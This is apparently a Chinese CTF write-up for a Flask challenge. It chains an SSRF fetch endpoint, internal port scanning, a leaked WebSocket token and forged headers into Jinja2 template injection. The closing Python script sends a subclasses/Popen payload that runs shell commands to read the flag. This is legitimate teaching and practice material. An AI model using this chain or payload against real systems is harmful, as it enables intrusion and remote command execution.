image-20260129210317837

进来就有一个写url的,弹一个本地url发现会响应源码,这很明显是ssrf,前面折腾了很久无果,后来重新看了这提示,说的是内网有public_web,admin_panel还有一个不知道什么的服务,有服务肯定要占用端口吧,于是我用bp爆破了一下

image-20260129211226203

image-20260129174834376

发现8001直接说明是admin_panel服务了,查看一下状态

image-20260129211911527

后面有这么一条

image-20260129211931736

跟过去可以看到9000就是就是用于连接ws的了

image-20260129211955051

把ws://127.0.0.1:9000/ws复制过去预览,得到响应

image-20260129213230776

这里介绍一下,可以参考https://zhuanlan.zhihu.com/p/581974844

1
ws协议(WebSocket)是一种基于TCP的独立网络通信协议,旨在建立客户端与服务器之间的持久、全双工连接

全双工意味着连接好后双方可以同时发送信息,根据响应,可以知道要进行连接需要有Origin和token参数,那这些是那来的

1
2
3
4
5
{
"ws": "ok",
"message": "handshake success",
"welcome": "{\"error\":\"invalid origin 'None' ; missing ?token= parameter\"}"
}

用dirsearch扫网站可以扫到很多文件

image-20260129213913868

其中请求openapi.json的时候可以看到有一个/redirect_ws路由

这个是admin_panel服务上的,一定要加上8001端口,默认80端口是public_web服务,有另一个openapi.json文件

image-20260129213829698

请求这个路由,token就在响应里面

image-20260129214409261

于是我设置了token,带上Origin请求头尝试连接

image-20260129214504561

又有一个新的问题,还要带上X-Internal-Token请求头内容要和token一样,token还过期了,这个token还有时间限制,那后面我们可以通过脚本来执行我们的命令

image-20260129215628346

1
2
3
4
{
"ws":"ok",
"message":"handshake success",
"welcome":"{\"error\":\"X-Internal-Token header must match ?token; token expired or invalid (try /redirect_ws)\"}"}

写一个脚本来发送,得到响应,已经可以连接成功了(格式已经过美化,方便大家食用)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
{
"ws":"ok",
"message":"handshake success",
"welcome":{
"service":"IntraSight Template Preview",
"version":"1.0",
"protocol":
{
"action":"render",
"template":"<template string>",
"context":
{
"optional":"variables"
}
}
}
}

通过响应可以发现这是个模板渲染,而这个题目也是个flask框架,因此可以知道这一关要我们ssti注入,但是注入点在那

可以看到有一个protocol,里面有一些参数,看起来还没有值,回到前面说的ws,使用这个协议连接成功后双方是可以发送信息的,既然服务器回应我们json数据,那我们也回应json数据,构造一个payload,注入tempate看看

1
2
3
4
5
6
7
8
{% raw %}
payload={
"action":"render",
"template":"{{7*7}}",
"context":{}
}

{% endraw %}

发送过去后得到响应,看result可以知道存在ssti注入!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
{
"ws":"ok",
"welcome":
{
"service":"IntraSight Template Preview",
"version":"1.0",
"protocol":
{
"action":"render",
"template":"<template string>",
"context":
{
"optional":"variables"
}
}
},
"response":
{
"result":"49"
}
}

接下来就是ssti了,没什么过滤,直接梭哈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
{% raw %}
import requests
from flask import json

url="http://80-33dd65a2-db23-43fd-90a5-4cceec6ca255.challenge.ctfplus.cn/"
session = requests.Session()

response = session.get(url+"fetch?url=http://127.0.0.1:8001/redirect_ws")
data=json.loads(response.text)
token=data["history"][0]['location'].split('token=')[-1]

headers = {
"Origin": "http://127.0.0.1",
"X-Internal-Token": token
}

re2=session.get(url+"fetch?url=ws://127.0.0.1:9000/ws?token="+token,headers=headers)
payload={
"action":"render",
"template":"{{''.__class__.__base__.__subclasses__()[246]('cat /f*',shell=True,stdout=-1).communicate()}}",
"context":{}
}

re3=session.post(url+"fetch?url=ws://127.0.0.1:9000/ws?token="+token,headers=headers,json=payload)
data=json.loads(re3.text)
result=json.loads(data["response"])["result"]
print(result)

{% endraw %}

image-20260129221719176